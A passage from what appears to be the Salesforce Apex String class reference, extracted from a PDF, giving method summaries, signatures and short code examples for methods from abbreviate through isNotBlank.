ending at the specified index.
left(length)
Returns the leftmost characters of the current String of the specified length.
2539
String ClassReference
leftPad(length)
Returns the current String padded with spaces on the left and of the specified length.
length()
Returns the number of 16-bit Unicode characters contained in the String.
mid(startIndex, length)
Returns a new String that begins with the character at the specified zero-based startIndex with the number of characters
specified by length.
normalizeSpace()
Returns the current String with leading, trailing, and repeating white space characters removed.
offsetByCodePoints(index, codePointOffset)
Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.
remove(substring)
Removes all occurrences of the specified substring and returns the String result.
removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.
removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.
removeStart(substring)
Removes the specified substring only if it occurs at the beginning of the String.
removeStartIgnoreCase(substring)
Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.
repeat(numberOfTimes)
Returns the current String repeated the specified number of times.
repeat(separator, numberOfTimes)
Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.
replace(target, replacement)
Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence
replacement.
replaceAll(regExp, replacement)
Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement.
replaceFirst(regExp, replacement)
Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement.
reverse()
Returns a String with all the characters reversed.
right(length)
Returns the rightmost characters of the current String of the specified length.
rightPad(length)
Returns the current String padded with spaces on the right and of the specified length.
split(regExp)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of
the String.
2540
String ClassReference
split(regExp, limit)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of
the String.
splitByCharacterType()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.
splitByCharacterTypeCamelCase()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens,
with the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the
following character token rather than to the preceding.
startsWith(prefix)
Returns true if the String that called the method begins with the specified prefix.
startsWithIgnoreCase(prefix)
Returns true if the current String begins with the specified prefix regardless of the prefix case.
stripHtmlTags(htmlInput)
Removes HTML markup from the input string and returns the plain text.
substring(startIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the end of the String.
substring(startIndex, endIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the character at
endIndex - 1.
substringAfter(separator)
Returns the substring that occurs after the first occurrence of the specified separator.
substringAfterLast(separator)
Returns the substring that occurs after the last occurrence of the specified separator.
substringBefore(separator)
Returns the substring that occurs before the first occurrence of the specified separator.
substringBeforeLast(separator)
Returns the substring that occurs before the last occurrence of the specified separator.
substringBetween(tag)
Returns the substring that occurs between two instances of the specified tag String.
substringBetween(open, close)
Returns the substring that occurs between the two specified Strings.
swapCase()
Swaps the case of all characters and returns the resulting String by using the default (English US) locale.
toLowerCase()
Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.
toLowerCase(locale)
Converts all of the characters in the String to lowercase using the rules of the specified locale.
toUpperCase()
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.
2541
String ClassReference
toUpperCase(locale)
Converts all of the characters in the String to the uppercase using the rules of the specified locale.
trim()
Returns a copy of the string that no longer contains any leading or trailing white space characters.
uncapitalize()
Returns the current String with the first letter in lowercase.
unescapeCsv()
Returns a String representing an unescaped CSV column.
unescapeEcmaScript()
Unescapes any EcmaScript literals found in the String.
unescapeHtml3()
Unescapes the characters in a String using HTML 3.0 entities.
unescapeHtml4()
Unescapes the characters in a String using HTML 4.0 entities.
unescapeJava()
Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\\") and control characters,
such as tab (\\t), and carriage return (\\n).
unescapeUnicode()
Returns a String whose escaped Unicode characters are unescaped.
unescapeXml()
Unescapes the characters in a String using XML entities.
valueOf(dateToConvert)
Returns a String that represents the specified Date in the standard “yyyy-MM-dd” format.
valueOf(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard “yyyy-MM-dd HH:mm:ss” format for the local time zone.
valueOf(decimalToConvert)
Returns a String that represents the specified Decimal.
valueOf(doubleToConvert)
Returns a String that represents the specified Double.
valueOf(integerToConvert)
Returns a String that represents the specified Integer.
valueOf(longToConvert)
Returns a String that represents the specified Long.
valueOf(toConvert)
Returns a string representation of the specified object argument.
valueOfGmt(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard “yyyy-MM-dd HH:mm:ss” format for the GMT time zone.
2542
String ClassReference
abbreviate(maxWidth)
Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than the
specified length; otherwise, returns the original String without ellipses.
Signature
public String abbreviate(Integer maxWidth)
Parameters
maxWidth
Type: Integer
If maxWidth is less than four, this method throws a run-time exception.
Return Value
Type: String
Example
String s='Hello Maximillian';
String s2 = s.abbreviate(8);
System.assertEquals('Hello...', s2);
System.assertEquals(8, s2.length());
abbreviate(maxWidth, offset)
Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String
has ellipses appended at the start and the end if characters have been removed at these locations.
Signature
public String abbreviate(Integer maxWidth, Integer offset)
Parameters
maxWidth
Type: Integer
Note that the offset is not necessarily the leftmost character in the returned String or the first character following the ellipses, but it
appears somewhere in the result. Regardless, abbreviate won’t return a String of length greater than maxWidth.If maxWidth
is too small, this method throws a run-time exception.
offset
Type: Integer
Return Value
Type: String
2543
String ClassReference
Example
String s='Hello Maximillian';
// Start at M
String s2 = s.abbreviate(9,6);
System.assertEquals('...Max...', s2);
System.assertEquals(9, s2.length());
capitalize()
Returns the current String with the first letter changed to title case.
Signature
public String capitalize()
Return Value
Type: String
Usage
This method is based on the Character.toTitleCase(char) Java method.
Example
String s='hello maximillian';
String s2 = s.capitalize();
System.assertEquals('Hello maximillian', s2);
center(size)
Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center. If
the specified size is smaller than the current String size, the entire String is returned without added spaces.
Signature
public String center(Integer size)
Parameters
size
Type: Integer
Return Value
Type: String
2544
String ClassReference
Example
String s='hello';
String s2 = s.center(9);
System.assertEquals(
' hello ',
s2);
center(size, paddingString)
Returns a version of the current String of the specified size padded with the specified String on the left and right, so that it appears in
the center. If the specified size is smaller than the current String size, the entire String is returned without padding.
Signature
public String center(Integer size, String paddingString)
Parameters
size
Type: Integer
paddingString
Type: String
Return Value
Type: String
Example
String s='hello';
String s2 = s.center(9, '-');
System.assertEquals('--hello--', s2);
charAt(index)
Returns the value of the character at the specified index.
Signature
public Integer charAt(Integer index)
Parameters
index
Type: Integer
The index of the character to get the value of.
2545
String ClassReference
Return Value
Type: Integer
The integer value of the character.
Usage
The charAt method returns the value of the character pointed to by the specified index. If the index points to the beginning of a
surrogate pair (the high-surrogate code point), this method returns only the high-surrogate code point. To return the supplementary
code point corresponding to a surrogate pair, call codePointAt instead.
Example
This example gets the value of the first character at index 0.
String str = 'Ω is Omega.';
System.assertEquals(937, str.charAt(0));
This example shows the difference between charAt and codePointAt. The example calls these methods on escaped supplementary
Unicode characters. charAt(0) returns the high surrogate value, which corresponds to \uD835. codePointAt(0) returns
the value for the entire surrogate pair.
String str = '\uD835\uDD0A';
System.assertEquals(55349, str.charAt(0),
'charAt(0) didn\'t return the high surrogate.');
System.assertEquals(120074, str.codePointAt(0),
'codePointAt(0) didn\'t return the entire two-character supplementary value.');
codePointAt(index)
Returns the Unicode code point value at the specified index.
Signature
public Integer codePointAt(Integer index)
Parameters
index
Type: Integer
The index of the characters (Unicode code units) in the string. The index range is from zero to the string length minus one.
Return Value
Type: Integer
The Unicode code point value at the specified index.
2546
String ClassReference
Usage
If the index points to the beginning of a surrogate pair (the high-surrogate code point), and the character value at the following index
points to the low-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. Otherwise,
this method returns the character value at the given index.
For more information on Unicode and surrogate pairs, see The Unicode Consortium.
Example
This example gets the code point value of the first character at index 0, which is the escaped Omega character. Also, the example gets
the code point at index 20, which corresponds to the escaped supplementary Unicode characters (a pair of characters). Finally, it verifies
that the escaped and unescaped forms of Omega have the same code point values.
The supplementary characters in this example (\\uD835\\uDD0A) correspond to mathematical fraktur capital G:
String str = '\u03A9 is Ω (Omega), and \uD835\uDD0A ' +
' is Fraktur Capital G.';
System.assertEquals(937, str.codePointAt(0));
System.assertEquals(120074, str.codePointAt(20));
// Escaped or unescaped forms of the same character have the same code point
System.assertEquals(str.codePointAt(0), str.codePointAt(5));
codePointBefore(index)
Returns the Unicode code point value that occurs before the specified index.
Signature
public Integer codePointBefore(Integer index)
Parameters
index
Type: Integer
The index before the Unicode code point that is to be returned. The index range is from one to the string length.
Return Value
Type: Integer
The character or Unicode code point value that occurs before the specified index.
Usage
If the character value at index-1 is the low-surrogate code point, and index-2 is not negative and the character at this index
location is the high-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. If the
character value at index-1 is an unpaired low-surrogate or high-surrogate code point, the surrogate value is returned.
For more information on Unicode and surrogate pairs, see The Unicode Consortium.
2547
String ClassReference
Example
This example gets the code point value of the first character (before index 1), which is the escaped Omega character. Also, the example
gets the code point at index 20, which corresponds to the escaped supplementary characters (the two characters before index 22).
String str = '\u03A9 is Ω (Omega), and \uD835\uDD0A ' +
' is Fraktur Capital G.';
System.assertEquals(937, str.codePointBefore(1));
System.assertEquals(120074, str.codePointBefore(22));
codePointCount(beginIndex, endIndex)
Returns the number of Unicode code points within the specified text range.
Signature
public Integer codePointCount(Integer beginIndex, Integer endIndex)
Parameters
beginIndex
Type: Integer
The index of the first character in the range.
endIndex
Type: Integer
The index after the last character in the range.
Return Value
Type: Integer
The number of Unicode code points within the specified range.
Usage
The specified range begins at beginIndex and ends at endIndex—1. Unpaired surrogates within the text range count as one
code point each.
Example
This example writes the count of code points in a substring that contains an escaped Unicode character and another substring that
contains Unicode supplementary characters, which count as one code point.
String str = '\u03A9 and \uD835\uDD0A characters.';
System.debug('Count of code points for ' + str.substring(0,1)
+': ' + str.codePointCount(0,1));
System.debug('Count of code points for ' + str.substring(6,8)
+': ' + str.codePointCount(6,8));
// Output:
// Count of code points for Ω: 1
// Count of code points for : 1
2548
String ClassReference
compareTo(secondString)
Compares two strings lexicographically, based on the Unicode value of each character in the Strings.
Signature
public Integer compareTo(String secondString)
Parameters
secondString
Type: String
Return Value
Type: Integer
Usage
The result is:
•A negative Integer if the String that called the method lexicographically precedes secondString
•A positive Integer if the String that called the method lexicographically follows compsecondStringString
•Zero if the Strings are equal
If there is no index position at which the Strings differ, then the shorter String lexicographically precedes the longer String.
Note that this method returns 0 whenever the equals method returns true.
Example
String myString1 = 'abcde';
String myString2 = 'abcd';
Integer result =
myString1.compareTo(myString2);
System.assertEquals(result, 1);
contains(substring)
Returns true if and only if the String that called the method contains the specified sequence of characters in substring.
Signature
public Boolean contains(String substring)
Parameters
substring
Type: String
Return Value
Type: Boolean
2549
String ClassReference
Example
String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result =
myString1.contains(myString2);
System.assertEquals(result, true);
containsAny(inputString)
Returns true if the current String contains any of the characters in the specified String; otherwise, returns false.
Signature
public Boolean containsAny(String inputString)
Parameters
inputString
Type: String
Return Value
Type: Boolean
Example
String s='hello';
Boolean b1 = s.containsAny('hx');
Boolean b2 = s.containsAny('x');
System.assertEquals(true, b1);
System.assertEquals(false, b2);
containsIgnoreCase(substring)
Returns true if the current String contains the specified sequence of characters without regard to case; otherwise, returns false.
Signature
public Boolean containsIgnoreCase(String substring)
Parameters
substring
Type: String
Return Value
Type: Boolean
2550
String ClassReference
Example
String s='hello';
Boolean b = s.containsIgnoreCase('HE');
System.assertEquals(
true,
b);
containsNone(inputString)
Returns true if the current String doesn’t contain any of the characters in the specified String; otherwise, returns false.
Signature
public Boolean containsNone(String inputString)
Parameters
inputString
Type: String
If inputString is an empty string or the current String is empty, this method returns true. If inputString is null, this
method returns a run-time exception.
Return Value
Type: Boolean
Example
String s1 = 'abcde';
System.assert(s1.containsNone('fg'));
containsOnly(inputString)
Returns true if the current String contains characters only from the specified sequence of characters and not any other characters;
otherwise, returns false.
Signature
public Boolean containsOnly(String inputString)
Parameters
inputString
Type: String
Return Value
Type: Boolean
2551
String ClassReference
Example
String s1 = 'abba';
String s2 = 'abba xyz';
Boolean b1 =
s1.containsOnly('abcd');
System.assertEquals(
true,
b1);
Boolean b2 =
s2.containsOnly('abcd');
System.assertEquals(
false,
b2);
containsWhitespace()
Returns true if the current String contains any white space characters; otherwise, returns false.
Signature
public Boolean containsWhitespace()
Return Value
Type: Boolean
Example
String s='Hello Jane';
System.assert(s.containsWhitespace()); //true
s='HelloJane ';
System.assert(s.containsWhitespace()); //true
s=' HelloJane';
System.assert(s.containsWhitespace()); //true
s='HelloJane';
System.assert(!s.containsWhitespace()); //false
countMatches(substring)
Returns the number of times the specified substring occurs in the current String.
Signature
public Integer countMatches(String substring)
Parameters
substring
Type: String
2552
String ClassReference
Return Value
Type: Integer
Example
String s='Hello Jane';
System.assertEquals(1, s.countMatches('Hello'));
s='Hello Hello';
System.assertEquals(2, s.countMatches('Hello'));
s='Hello hello';
System.assertEquals(1, s.countMatches('Hello'));
deleteWhitespace()
Returns a version of the current String with all white space characters removed.
Signature
public String deleteWhitespace()
Return Value
Type: String
Example
String s1 = ' Hello Jane ';
String s2 = 'HelloJane';
System.assertEquals(s2, s1.deleteWhitespace());
difference(secondString)
Returns the difference between the current String and the specified String.
Signature
public String difference(String secondString)
Parameters
secondString
Type: String
If secondString is an empty string, this method returns an empty string.If secondString is null, this method throws a
run-time exception.
Return Value
Type: String
2553
String ClassReference
Example
String s='Hello Jane';
String d1 =
s.difference('Hello Max');
System.assertEquals(
'Max',
d1);
String d2 =
s.difference('Goodbye');
System.assertEquals(
'Goodbye',
d2);
endsWith(suffix)
Returns true if the String that called the method ends with the specified suffix.
Signature
public Boolean endsWith(String suffix)
Parameters
suffix
Type: String
Return Value
Type: Boolean
Example
String s='Hello Jason';
System.assert(s.endsWith('Jason'));
endsWithIgnoreCase(suffix)
Returns true if the current String ends with the specified suffix; otherwise, returns false.
Signature
public Boolean endsWithIgnoreCase(String suffix)
Parameters
suffix
Type: String
2554
String ClassReference
Return Value
Type: Boolean
Example
String s='Hello Jason';
System.assert(s.endsWithIgnoreCase('jason'));
equals(secondString)
Deprecated. This method is replaced by equals(stringOrId). Returns true if the passed-in string is not null and represents
the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.
Signature
public Boolean equals(String secondString)
Parameters
secondString
Type: String
Return Value
Type: Boolean
Usage
This method returns true when the compareTo method returns 0.
Use this method to perform case-sensitive comparisons. In contrast, the == operator performs case-insensitive string comparisons to
match Apex semantics.
Example
String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result = myString1.equals(myString2);
System.assertEquals(result, false);
equals(stringOrId)
Returns true if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use this
method to compare a string to an object that represents a string or an ID.
Signature
public Boolean equals(Object stringOrId)
2555
String ClassReference
Parameters
stringOrId
Type: Object
Return Value
Type: Boolean
Usage
If you compare ID values, the lengths of IDs don’t need to be equal. For example, if you compare a 15-character ID string to an object
that represents the equivalent 18-character ID value, this method returns true. For more information about 15-character and 18-character
IDs, see the ID data type.
Use this method to perform case-sensitive comparisons. In contrast, the == operator performs case-insensitive string comparisons to
match Apex semantics.
Example
These examples show comparisons between different types of variables with both equal and unequal values. The examples also show
how Apex automatically converts certain values before comparing them.
// Compare a string to an object containing a string
Object obj1 = 'abc';
String str = 'abc';
Boolean result1 = str.equals(obj1);
System.assertEquals(true, result1);
// Compare a string to an object containing a number
Integer obj2 = 100;
Boolean result2 = str.equals(obj2);
System.assertEquals(false, result2);
// Compare a string to an ID of the same length.
// 15-character ID
Id idValue15 = '001D000000Ju1zH';
// 15-character ID string value
String stringValue15 = '001D000000Ju1zH';
Boolean result3 = stringValue15.equals(IdValue15);
System.assertEquals(true, result3);
// Compare two equal ID values of different lengths:
// 15-character ID and 18-character ID
Id idValue18 = '001D000000Ju1zHIAR';
Boolean result4 = stringValue15.equals(IdValue18);
System.assertEquals(true, result4);
equalsIgnoreCase(secondString)
Returns true if the secondString is not null and represents the same sequence of characters as the String that called the method,
ignoring case.
2556
String ClassReference
Signature
public Boolean equalsIgnoreCase(String secondString)
Parameters
secondString
Type: String
Return Value
Type: Boolean
Example
String myString1 = 'abcd';
String myString2 = 'ABCD';
Boolean result =
myString1.equalsIgnoreCase(myString2);
System.assertEquals(result, true);
escapeCsv()
Returns a String for a CSV column enclosed in double quotes, if required.
Signature
public String escapeCsv()
Return Value
Type: String
Usage
If the String contains a comma, newline or double quote, the returned String is enclosed in double quotes. Also, any double quote
characters in the String are escaped with another double quote.
If the String doesn’t contain a comma, newline or double quote, it is returned unchanged.
Example
String s1 = 'Max1, "Max2"';
String s2 = s1.escapeCsv();
System.assertEquals('"Max1, ""Max2"""', s2);
escapeEcmaScript()
Escapes the characters in the String using EcmaScript String rules.
2557
String ClassReference
Signature
public String escapeEcmaScript()
Return Value
Type: String
Usage
The only difference between Apex strings and EcmaScript strings is that in EcmaScript, a single quote and forward-slash (/) are escaped.
Example
String s1 = '"grade": 3.9/4.0';
String s2 = s1.escapeEcmaScript();
System.debug(s2);
// Output is:
// \"grade\": 3.9\/4.0
System.assertEquals(
'\\"grade\\": 3.9\\/4.0',
s2);
escapeHtml3()
Escapes the characters in a String using HTML 3.0 entities.
Signature
public String escapeHtml3()
Return Value
Type: String
Example
String s1 =
'"<Black&White>"';
String s2 =
s1.escapeHtml3();
System.debug(s2);
// Output:
// &quot;&lt;Black&amp;
// White&gt;&quot;
escapeHtml4()
Escapes the characters in a String using HTML 4.0 entities.
2558
String ClassReference
Signature
public String escapeHtml4()
Return Value
Type: String
Example
String s1 =
'"<Black&White>"';
String s2 =
s1.escapeHtml4();
System.debug(s2);
// Output:
// &quot;&lt;Black&amp;
// White&gt;&quot;
escapeJava()
Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters, such
as tab, backslash, and carriage return characters.
Signature
public String escapeJava()
Return Value
Type: String
The escaped string.
Example
// Input string contains quotation marks
String s='Company: "Salesforce.com"';
String escapedStr = s.escapeJava();
// Output string has the quotes escpaded
System.assertEquals('Company: \\"Salesforce.com\\"', escapedStr);
escapeSingleQuotes(stringToEscape)
Returns a String with the escape character (\) added before any single quotation marks in the String s.
Signature
public static String escapeSingleQuotes(String stringToEscape)
2559
String ClassReference
Parameters
stringToEscape
Type: String
Return Value
Type: String
Usage
This method is useful when creating a dynamic SOQL statement, to help prevent SOQL injection. For more information on dynamic
SOQL, see Dynamic SOQL.
Example
String s='\'Hello Jason\'';
system.debug(s); // Outputs 'Hello Jason'
String escapedStr = String.escapeSingleQuotes(s);
// Outputs \'Hello Jason\'
system.debug(escapedStr);
// Escapes the string \\\' to string \'
system.assertEquals('\\\'Hello Jason\\\'', escapedStr);
escapeUnicode()
Returns a String whose Unicode characters are escaped to a Unicode escape sequence.
Signature
public String escapeUnicode()
Return Value
Type: String
The escaped string.
Example
String s='De onde você é?';
String escapedStr = s.escapeUnicode();
System.assertEquals('De onde voc\\u00EA \\u00E9?', escapedStr);
escapeXml()
Escapes the characters in a String using XML entities.
Signature
public String escapeXml()
2560
String ClassReference
Return Value
Type: String
Usage
Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities. Unicode characters greater
than 0x7f are not escaped.
Example
String s1 =
'"<Black&White>"';
String s2 =
s1.escapeXml();
System.debug(s2);
// Output:
// &quot;&lt;Black&amp;
// White&gt;&quot;
format(stringToFormat, formattingArguments)
Treat the current string as a pattern that should be used for substitution in the same manner as apex:outputText.
Signature
public static String format(String stringToFormat, List<String> formattingArguments)
Parameters
stringToFormat
Type: String
formattingArguments
Type: List<String>
Return Value
Type: String
Example
String placeholder = 'Hello {0}, {1} is cool!';
List<String> fillers = new String[]{'Jason','Apex'};
String formatted = String.format(placeholder, fillers);
System.assertEquals('Hello Jason, Apex is cool!', formatted);
fromCharArray(charArray)
Returns a String from the values of the list of integers.
2561
String ClassReference
Signature
public static String fromCharArray(List<Integer> charArray)
Parameters
charArray
Type: List<Integer>
Return Value
Type: String
Example
List<Integer> charArr= new Integer[]{74};
String convertedChar = String.fromCharArray(charArr);
System.assertEquals('J', convertedChar);
getChars()
Returns an array of character values that represent the characters in this string.
Signature
public List<Integer> getChars()
Return Value
Type: List<String>
A list of integers, each corresponding to a character value in the string.
Example
This sample converts a string to a character array and then gets the first array element, which corresponds to the value of 'J'.
String str = 'Jane goes fishing.';
Integer[] chars = str.getChars();
// Get the value of 'J'
System.assertEquals(74, chars[0]);
getCommonPrefix(strings)
Returns the initial sequence of characters as a String that is common to all the specified Strings.
Signature
public static String getCommonPrefix(List<String> strings)
2562
String ClassReference
Parameters
strings
Type: List<String>
Return Value
Type: String
Example
List<String> ls = new List<String>{'SFDCApex','SFDCVisualforce'};
String prefix = String.getCommonPrefix(ls);
System.assertEquals('SFDC', prefix);
getLevenshteinDistance(stringToCompare)
Returns the Levenshtein distance between the current String and the specified String.
Signature
public Integer getLevenshteinDistance(String stringToCompare)
Parameters
stringToCompare
Type: String
Return Value
Type: Integer
Usage
The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character
modification (deletion, insertion or substitution).
Example
String s='Hello Joe';
Integer i = s.getLevenshteinDistance('Hello Max');
System.assertEquals(3, i);
getLevenshteinDistance(stringToCompare, threshold)
Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold;
otherwise, returns -1.
Signature
public Integer getLevenshteinDistance(String stringToCompare, Integer threshold)
2563
String ClassReference
Parameters
stringToCompare
Type: String
threshold
Type: Integer
Return Value
Type: Integer
Usage
The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character
modification (deletion, insertion or substitution).
Example:
In this example, the Levenshtein distance is 3, but the threshold argument is 2, which is less than the distance, so this method returns
-1.
Example
String s='Hello Jane';
Integer i = s.getLevenshteinDistance('Hello Max', 2);
System.assertEquals(-1, i);
hashCode()
Returns a hash code value for this string.
Signature
public Integer hashCode()
Return Value
Type: Integer
Usage
This value is based on the hash code computed by the Java String.hashCode counterpart method.
You can use this method to simplify the computation of a hash code for a custom type that contains String member variables. You can
compute your type’s hash code value based on the hash code of each String variable. For example:
For more details about the use of hash code methods with custom types, see Using Custom Types in Map Keys and Sets.
Example
public class MyCustomClass {
String x,y;
// Provide a custom hash code
2564
String ClassReference
public Integer hashCode() {
return
(31*x.hashCode())^(y.hashCode());
}
}
indexOf(substring)
Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.
Signature
public Integer indexOf(String substring)
Parameters
substring
Type: String
Return Value
Type: Integer
Example
String myString1 = 'abcde';
String myString2 = 'cd';
Integer result = myString1.indexOf(mystring2);
System.assertEquals(2, result);
indexOf(substring, index)
Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring does
not occur, this method returns -1.
Signature
public Integer indexOf(String substring, Integer index)
Parameters
substring
Type: String
index
Type: Integer
Return Value
Type: Integer
2565
String ClassReference
Example
String myString1 = 'abcdabcd';
String myString2 = 'ab';
Integer result = myString1.indexOf(mystring2, 1);
System.assertEquals(4, result);
indexOfAny(substring)
Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns
-1.
Signature
public Integer indexOfAny(String substring)
Parameters
substring
Type: String
Return Value
Type: Integer
Example
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAny(s2);
System.assertEquals(2, result);
indexOfAnyBut(substring)
Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.
Signature
public Integer indexOfAnyBut(String substring)
Parameters
substring
Type: String
Return Value
Type: Integer
2566
String ClassReference
Example
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAnyBut(s2);
System.assertEquals(0, result);
indexOfChar(character)
Returns the index of the first occurrence of the character that corresponds to the specified character value.
Signature
public Integer indexOfChar(Integer character)
Parameters
character
Type: Integer
The integer value of the character in the string.
Return Value
Type: Integer
The index of the first occurrence of the specified character, -1 if the character is not found.
Usage
The index that this method returns is in Unicode code units.
Example
String str = '\\u03A9 is Ω (Omega)';
// Returns 0, which is the first character.
System.debug('indexOfChar(937)=' + str.indexOfChar(937));
// Output:
// indexOfChar(937)=0
indexOfChar(character, startIndex)
Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified
index.
Signature
public Integer indexOfChar(Integer character, Integer startIndex)
2567
String ClassReference
Parameters
character
Type: Integer
The integer value of the character to look for.
startIndex
Type: Integer
The index to start the search from.
Return Value
Type: Integer
The index, starting from the specified start index, of the first occurrence of the specified character, -1 if the character is not found.
Usage
The index that this method returns is in Unicode code units.
Example
This example shows different ways of searching for the index of the Omega character. The first call to indexOfChar doesn’t specify
a start index and therefore the returned index is 0, which is the first occurrence of Omega in the entire string. The subsequent calls specify
a start index to find the occurrence of Omega in substrings that start at the specified index.
String str = 'Ω and \\u03A9 and Ω';
System.debug('indexOfChar(937)=' + str.indexOfChar(937));
System.debug('indexOfChar(937,1)=' + str.indexOfChar(937,1));
System.debug('indexOfChar(937,10)=' + str.indexOfChar(937,10));
// Output:
// indexOfChar(937)=0
// indexOfChar(937,1)=6, (corresponds to the escaped form \\u03A9)
// indexOfChar(937,10)=12
indexOfDifference(stringToCompare)
Returns the zero-based index of the character where the current String begins to differ from the specified String.
Signature
public Integer indexOfDifference(String stringToCompare)
Parameters
stringToCompare
Type: String
Return Value
Type: Integer
2568
String ClassReference
Example
String s1 = 'abcd';
String s2 = 'abxc';
Integer result = s1.indexOfDifference(s2);
System.assertEquals(2, result);
indexOfIgnoreCase(substring)
Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur,
this method returns -1.
Signature
public Integer indexOfIgnoreCase(String substring)
Parameters
substring
Type: String
Return Value
Type: Integer
Example
String s1 = 'abcd';
String s2 = 'BC';
Integer result = s1.indexOfIgnoreCase(s2, 0);
System.assertEquals(1, result);
indexOfIgnoreCase(substring, startPosition)
Returns the zero-based index of the first occurrence of the specified substring from the point of index i, without regard to case. If the
substring does not occur, this method returns -1.
Signature
public Integer indexOfIgnoreCase(String substring, Integer startPosition)
Parameters
substring
Type: String
startPosition
Type: Integer
Return Value
Type: Integer
2569
String ClassReference
isAllLowerCase()
Returns true if all characters in the current String are lowercase; otherwise, returns false.
Signature
public Boolean isAllLowerCase()
Return Value
Type: Boolean
Example
String allLower = 'abcde';
System.assert(allLower.isAllLowerCase());
isAllUpperCase()
Returns true if all characters in the current String are uppercase; otherwise, returns false.
Signature
public Boolean isAllUpperCase()
Return Value
Type: Boolean
Example
String allUpper = 'ABCDE';
System.assert(allUpper.isAllUpperCase());
isAlpha()
Returns true if all characters in the current String are Unicode letters only; otherwise, returns false.
Signature
public Boolean isAlpha()
Return Value
Type: Boolean
Example
// Letters only
String s1 = 'abc';
2570
String ClassReference
// Returns true
Boolean b1 =
s1.isAlpha();
System.assertEquals(
true, b1);
// Letters and numbers
String s2 = 'abc 21';
// Returns false
Boolean b2 =
s2.isAlpha();
System.assertEquals(
false, b2);
isAlphaSpace()
Returns true if all characters in the current String are Unicode letters or spaces only; otherwise, returns false.
Signature
public Boolean isAlphaSpace()
Return Value
Type: Boolean
Example
String alphaSpace = 'aA Bb';
System.assert(alphaSpace.isAlphaSpace());
String notAlphaSpace = 'ab 12';
System.assert(!notAlphaSpace.isAlphaSpace());
notAlphaSpace = 'aA$Bb';
System.assert(!notAlphaSpace.isAlphaSpace());
isAlphanumeric()
Returns true if all characters in the current String are Unicode letters or numbers only; otherwise, returns false.
Signature
public Boolean isAlphanumeric()
Return Value
Type: Boolean
Example
// Letters only
String s1 = 'abc';
2571
String ClassReference
// Returns true
Boolean b1 =
s1.isAlphanumeric();
System.assertEquals(
true, b1);
// Letters and numbers
String s2 = 'abc021';
// Returns true
Boolean b2 =
s2.isAlphanumeric();
System.assertEquals(
true, b2);
isAlphanumericSpace()
Returns true if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns false.
Signature
public Boolean isAlphanumericSpace()
Return Value
Type: Boolean
Example
String alphanumSpace = 'AE 86';
System.assert(alphanumSpace.isAlphanumericSpace());
String notAlphanumSpace = 'aA$12';
System.assert(!notAlphanumSpace.isAlphaSpace());
isAsciiPrintable()
Returns true if the current String contains only ASCII printable characters; otherwise, returns false.
Signature
public Boolean isAsciiPrintable()
Return Value
Type: Boolean
Example
String ascii = 'abcd1234!@#$%^&*()`~-_+={[}]|:<,>.?';
System.assert(ascii.isAsciiPrintable());
String notAscii = '√';
System.assert(!notAscii.isAsciiPrintable());
2572
String ClassReference
isBlank(inputString)
Returns true if the specified String is white space, empty (''), or null; otherwise, returns false.
Signature
public static Boolean isBlank(String inputString)
Parameters
inputString
Type: String
Return Value
Type: Boolean
Example
String blank = '';
String nullString = null;
String whitespace = ' ';
System.assert(String.isBlank(blank));
System.assert(String.isBlank(nullString));
System.assert(String.isBlank(whitespace));
String alpha = 'Hello';
System.assert(!String.isBlank(alpha));
isEmpty(inputString)
Returns true if the specified String is empty ('') or null; otherwise, returns false.
Signature
public static Boolean isEmpty(String inputString)
Parameters
inputString
Type: String
Return Value
Type: Boolean
Example
String empty = '';
String nullString = null;
System.assert(String.isEmpty(empty));
System.assert(String.isEmpty(nullString));
2573
String ClassReference
String whitespace = ' ';
String alpha = 'Hello';
System.assert(!String.isEmpty(whitespace));
System.assert(!String.isEmpty(alpha));
isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (''), and not null; otherwise, returns false.
Signature
public static Boolean isNotBlank(String inputString)
Parameters
inputString
Type: String
Return Value
Type: Boolean
Example
String alpha = 'Hello world!';
System.assert(String.isNotBlank(alpha));
String blank = '';
String nullString = null;
String whitespace = ' ';
